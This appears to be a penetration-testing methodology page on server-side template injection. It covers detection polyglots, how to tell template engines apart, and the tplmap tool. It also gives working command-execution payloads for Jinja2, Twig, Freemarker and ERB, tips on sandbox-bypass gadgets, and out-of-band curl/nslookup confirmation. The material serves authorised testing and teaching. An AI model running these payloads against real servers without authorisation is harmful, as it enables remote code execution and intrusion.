Server-Side Template Injection (SSTI)
When it applies
Input flows into a server-side template that is evaluated, not just interpolated as text. Common in email/notification templates, custom dashboards, and any "use variables in your message" feature.
Why it works
Template engines execute expressions. If attacker input becomes part of the template source (rather than a bound variable), the engine evaluates it — and most engines expose object introspection that reaches OS command execution.
Method
Payloads & full variation set:
cheatsheet.mdnext to this file — work the set, not the first line.
- Detect with a polyglot and engine-specific probes:
${7*7}{{7*7}}<%= 7*7 %>#{7*7}{7*7}— a rendered49(not literal text) confirms. - Identify the engine by which syntax evaluated and by error messages, then branch:
- Jinja2 (Python):
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} - Twig (PHP):
{{ ['id']|filter('system') }}or_self.env.registerUndefinedFilterCallback. - Freemarker (Java):
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}. - ERB (Ruby):
<%= \id` %>`.
- Jinja2 (Python):
- Automate/confirm with
tplmap -u <url>once you know it's injectable, but understand the payload — WAFs and sandboxes need manual gadget-chaining.
Gotchas
{{7*7}}→49is SSTI;{{7*'7'}}behaviour distinguishes Jinja (7777777) from Twig (49).- Sandboxed engines (Twig sandbox, Jinja SandboxedEnvironment) block direct globals — hunt for a bypass gadget.
- XSS ≠ SSTI:
<svg>rendering is client-side; only server-side evaluation of expressions is SSTI.
Verify success
Command output (uid=... from id) reflected in the response, or an OOB callback from
curl/nslookup run through the payload.
References
PortSwigger SSTI labs; James Kettle "Server-Side Template Injection".